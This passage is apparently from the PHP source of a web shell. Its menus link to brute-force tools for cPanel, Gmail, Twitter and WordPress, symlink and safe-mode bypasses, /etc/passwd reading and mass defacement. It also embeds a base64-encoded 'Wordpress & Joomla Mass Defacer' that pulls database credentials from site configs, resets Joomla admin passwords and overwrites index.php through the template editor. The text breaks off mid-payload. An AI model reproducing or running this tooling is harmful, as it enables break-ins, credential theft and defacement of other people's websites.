<a href="?action=exploit">Exploit</a><br><br>
<a href="?action=whmcskillrer">Whcms Killer</a><br><br>
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a><br><br>
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'sime\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=sym">Symlink Info</a><br><br>
<a href="?action=dose">Cms Scanner</a><br><br>
<a href="?action=vkill">Perl based symlink</a><br><br>
<a href="?action=file">Symlink Manual</a><br><br>
<a href="?action=manu">Manually Retrieve Config</a><br><br>
<a href="?action=ensim">Enable Symlink If Disabled</a><br><br>
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a><br><br>
<a href="?action=simby">Symlink Bypass 2014</a></b><br></center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'brut\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=skybru">Skype Brute Force</a><br><br>
<a href="?action=cpbru">Cpanel Brute Force</a><br><br>
<a href="?action=jmbru">Joomla Brute Force</a><br><br>
<a href="?action=wpbru">Wordpress Brute Force</a><br><br>
<a href="?action=twbru">Twitter Brute Force</a><br><br>
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a><br><br>
<a href="?action=ftpbrtfrcee">Ftp Bruteforce</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'baipas\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=grasy">Bypass /etc/passwd</a><br><br>
<a href="?action=nemcon">Bypass Users Server</a><br><br>
<a href="?action=cgipl">Bypass Perl Security</a><br><br>
<a href="?action=bypsrootwzp">Bypass Root Path with Zip File</a><br><br>
<a href="?action=bforb">Bypass Root Path with system function</a><br><br>
<a href="?action=rootexecbpass">Bypass Root Path with exec function</a><br><br>
<a href="?action=rootshelleexecbpass">Bypass Root Path with shell_exec function</a><br><br>
<a href="?action=posget">Bypass posix_getpwuid</a><br><br>
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a><br><br>
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a><br><br>
<a href="?action=setphr">Bypass suPHP Security</a><br><br>
<a href="?action=simpelb">Simple Bypasser</a><br><br>
<a href="?action=ritf">Read Files</a><br><br>
<a href="?action=baidir">Bypass Chmod Directory</a><br><br>
<a href="?action=forb14">Bypass Forbidden 2014</a><br><br>
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a><br><br></center>
<br></b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'mase\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=mass">Mass Deface Dirs</a><br><br>
<a href="?action=joomla">Mass Change Admin Joomla</a><br><br>
<a href="?action=vb">Mass Change Admin vBulletin</a><br><br>
<a href="?action=wp">Mass Change Admin Mass WordPress</a><br><br>
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a><br><br>
<a href="?action=wrdprshtmlinj">Wordpress Hijack Index Priv8</a><br><br>
<a href="?action=joommlallainxc">Joomla Index Changer</a><br><br>
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a><br><br>
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'sesc\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=exgz">Bypass Server Security Functions</a><br><br>
<a href="?action=tespr">Test Permission</a><br><br>
<a href="?action=srvrinformations">Server Infos</a><br><br></center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wpandjmlamassdfce\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
//extract script
$gfgf4fff = \'PD9waHANCi8qDQpXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyIFYyDQpOb3QgQ29kZWQgQnkgQW5vbkdob3N0T2ZmaWNpYWwgLCBidXQgb25seSB0aGUgZGVzaWduDQpmYWNlYm9vayA6IC9Bbm9uR2hvc3RPZmZpY2lhbDINCg0KdGhpcyB2ZXJzaW9uIHVzZXMgdHdvIG1ldGhvZHMgZm9yIGdldHRpbmcgc2l0ZXMgJiB1c2VycyAmIGNvbmZpZyBmaWxlDQpbK10gdGhlIGZpcnN0IG1ldGhvZCBpcyBnZXR0aW5nIGV2ZXJ5dGhpbmcgYWJvdXQgdGhlIGRvbWFpbiBmcm9tICggL2V0Yy9uYW1lZC5jb25mICkgLCBhbmQgZGVmYWNpbmcNClsrXSB0aGUgc2Vjb25kIG1ldGhvZCBpcyBnZXR0aW5nIHNpdGVzIG5hbWVzIGZyb20gKCAvdmFyL25hbWVkICkgLCB0aGVuIGNvbGxlY3RpbmcgdXNlcm5hbWVzIG5hZCBkZWZhY2luZw0KDQpkb24ndCB3b3JyeSBhYm91dCB0aGUgYmFzZTY0IGVuY3J5cHRpb24gaW4gbGluZXMgMjAgYW5kIDI1ICwganVzdCB0aGUgc3R5bGUgLCBhbmQgdGhlIHNjcmlwdCBuYW1lDQp5b3UgY2FuIGRlY29kZSBhbmQgY2hlY2sgdGhlbSBpZiB5b3UgZG9uJ3QgdHJ1c3QgbWUgOykNCiovDQplY2hvICcNCjxodG1sPg0KPC9oZWFkPg0KPHRpdGxlPkFub25HaG9zdCAgOiBXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8Y2VudGVyPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCnRhYmxlLGJvZHkgew0KYmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vaW1nMTUuaG9zdGluZ3BpY3MubmV0L3BpY3MvMTE1ODMwdGxjaGFyZ2VtZW50LnBuZyIpOw0KYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCmJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsNCmNvbG9yOmJsYWNrOw0KZm9udC1mYW1pbHk6ICJUcmVidWNoZXQgTVMiLEFyaWFsO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDttYXJnaW46MDtwYWRkaW5nOjA7fQ0KLmhlYWRlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTt0b3A6MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KLmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il17YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1LDI1LDI1LDAuNik7Ym9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LXNpemU6MjVweDtmb250LWZhbWlseTpvcmJpdHJvbjsgY29sb3I6cmVkO2JvcmRlcjoycHggc29saWQgd2hpdGU7bWFyZ2luOjRweCA0cHggOHB4IDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXJ7Y29sb3I6U2VhU2hlbGw7fQ0KaW5wdXRbdHlwZT0idGV4dCJdOmhvdmVye2JhY2tncm91bmQ6IzIyMjIyMjt9DQppbnB1dFt0eXBlPSJyYWRpbyJde21hcmdpbi10b3A6IDA7fQ0KLnRkMiB7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkIHJlZDtib3JkZXItcmFkaXVzOiAycHggMnB4IDJweCAycHg7fQ0KaW5wdXRbdHlwZT0idGV4dCJdIHtvdXRsaW5lOm5vbmU7dHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy13ZWJraXQtdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMnB4O2JhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LWZhbWlseTpvcmJpdHJvbjsgZm9udC1zaXplOjE1cHg7IGNvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggNHB4IDhweCAwO30NCi5ldmVuIHtiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1LCAyNSwgMjUsIDAuNik7fQ0KLm9kZCB7YmFja2dyb3VuZC1jb2xvcjogcmdiYSgxMDIsIDEwMiwgMTAyLCAwLjYpO30NCmEge2NvbG9yOiNmZmY7fSBhOmhvdmVyIHtjb2xvcjpyZWQ7fQ0KZmllbGRzZXR7Ym9yZGVyOiAxcHggc29saWQgZ3JleTsgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjcpOyB3aWR0aDogNjAwcHg7IG1hcmdpbjogMCBhdXRvO21pbi1oZWlnaHQ6MjQwcHg7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjYpOyBjb2xvcjogd2hpdGU7fQ0KLmdyZWVuIHtjb2xvcjojMDBGRjAwO2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLnJlZCB7Y29sb3I6I0ZGMDAwMDtmb250LXdlaWdodDpib2xkO30NCi5raWxsbWUge2ZvbnQtZmFtaWx5Om9yYml0cm9uO3Bvc2l0aW9uOiBmaXhlZDsgdG9wOiAyMHB4OyByaWdodDogMjBweDsgYm9yZGVyOiAycHggc29saWQgIzRDODNBRjsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAyMHB4OyBjb2xvcjogd2hpdGU7IGZvbnQtd2VpZ2h0OiBib2xkO30NCiANCi5yZXN1bHQge2JvcmRlcjoycHggc29saWQgIzRDODNBRjstbW96LWJvcmRlci1yYWRpdXM6MTBweDtib3JkZXItcmFkaXVzOjEwcHg7fSANCg0KPC9zdHlsZT4NCiA8Y2VudGVyPjxoMT5Bbm9uR2hvc3QgV29yZHByZXNzICYgSm9vbWxhIE1hc3MgRGVmYWNlciA8L2gxPjwvY2VudGVyPg0KIDwvaGVhZD4NCiA8Ym9keT4nOw0KDQoNCi8vIGdldHRpbmcgaW5mbyBmcm9tIGluc2lkZSA6KQ0KZnVuY3Rpb24gdHVuaXNpYSgkdGV4dCwkYmlkZXlhLCRuaWhleWEsJGk9MSl7DQogICAgJGFyMD1leHBsb2RlKCRiaWRleWEsICR0ZXh0KTsNCiAgICAkYXIxPWV4cGxvZGUoJG5paGV5YSwgJGFyMFskaV0pOw0KICAgIHJldHVybiB0cmltKCRhcjFbMF0pOw0KfQ0KDQpmdW5jdGlvbiByYW5kb210KCkgew0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOw0KICAgICRpID0gMDsNCiAgICAkcGFzcyA9ICcnOw0KICAgIHdoaWxlICgkaSA8PSA3KSB7DQogICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOw0KICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgcmV0dXJuICRwYXNzOw0KfQ0KDQovLyBqb29tbGEgaW5kZXggY2hhbmdlcg0KZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmYsICRpbmRleF9zaXRlLCAkZG9tYWluKSB7DQoNCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGluZGV4X3NpdGUpOw0KICAgICRkb2xlciA9ICckJzsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCAkZG9sZXIuInVzZXIgPSAnIiwgIic7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJwYXNzd29yZCA9ICciLCAiJzsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYiA9ICciLCAiJzsiKTsNCiAgICAkcHJlZml4ID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYnByZWZpeCA9ICciLCAiJzsiKTsNCiAgICAkaG9zdCA9IHR1bmlzaWEoJGNvbmYsICRkb2xlci4iaG9zdCA9ICciLCInOyIpOw0KICAgICRjbz1yYW5kb210KCk7DQogICAgJHNpdGVfdXJsID0gImh0dHA6Ly8iLiRkb21haW4uIi9hZG1pbmlzdHJhdG9yIjsNCiAgICAkb3V0cHV0ID0gJyc7DQogICAgJGNvbmQgPSAwOyANCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCk7DQogICAgaWYoJGxpbmspIHsNCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCiAgICAgICAgJHJlcTEgPSBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCBTRVQgYHVzZXJuYW1lYCA9J2FkbWluJyAsIGBwYXNzd29yZGAgPSAnNDI5N2Y0NGIxMzk1NTIzNTI0NWIyNDk3Mzk5ZDdhOTMnLCBgdXNlcnR5cGVgID0gJ1N1cGVyIEFkbWluaXN0cmF0b3InLCBgYmxvY2tgID0gMCIpOw0KICAgICAgICAkcmVxID0gbXlzcWxfbnVtcm93cyhteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgTElLRSAnIi4kcHJlZml4LiJleHRlbnNpb25zJyIpKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIA0KICAgIGlmKCRyZXExKXsNCiAgICAgICAgaWYgKCRyZXEpIHsNCiRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBgY2xpZW50X2lkYCA9ICcwJyBhbmQgYGhvbWVgID0gJzEnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWUgPSAkZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJleHRlbnNpb25zYCBXSEVSRSBgbmFtZWA9JyIuJHRlbXBsYXRlX25hbWUuIicgb3IgYGVsZW1lbnRgID0gJyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCiRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfaWQgPSAkZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHJldHVybiA9IHR1bmlzaWEoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW4gPSB0dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCmlmKCRyZXR1cm4gJiYgJGhpZGRlbikgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzEyMyZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gTG9naW4gRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KfQ0KfQ0KaWYoJHBvcyl7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQppZigkaGlkZGVuMikgew0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImpmb3JtW3NvdXJjZV09Ii4kY29udGVudC4iJmpmb3JtW2ZpbGVuYW1lXT1pbmRleC5waHAmamZvcm1bZXh0ZW5zaW9uX2lkXT0iLiR0ZW1wbGF0ZV9pZC4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c291cmNlLnNhdmUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIj4nKTsNCiRjb25kID0gMDsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KICAgDQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0gDQogICAgICAgIGVsc2Ugew0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQokdXNlcmFnZW50PSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjI7IEFsZXhhIFRvb2xiYXI7IC5ORVQgQ0xSIDIuMC41MDcyNykiOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRoaWRkZW49dHVuaXNpYSgkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KDQppZigkaGlkZGVuKSB7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1NiZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBMb2dpbiBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gTG9naW4gU3VjY2Vzc2Z1bDxiciAvPiI7DQp9DQp9DQoNCmlmKCRwb3MpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0NCn0NCg0KaWYoJGhpZGRlbjIpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kY29udGVudC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXN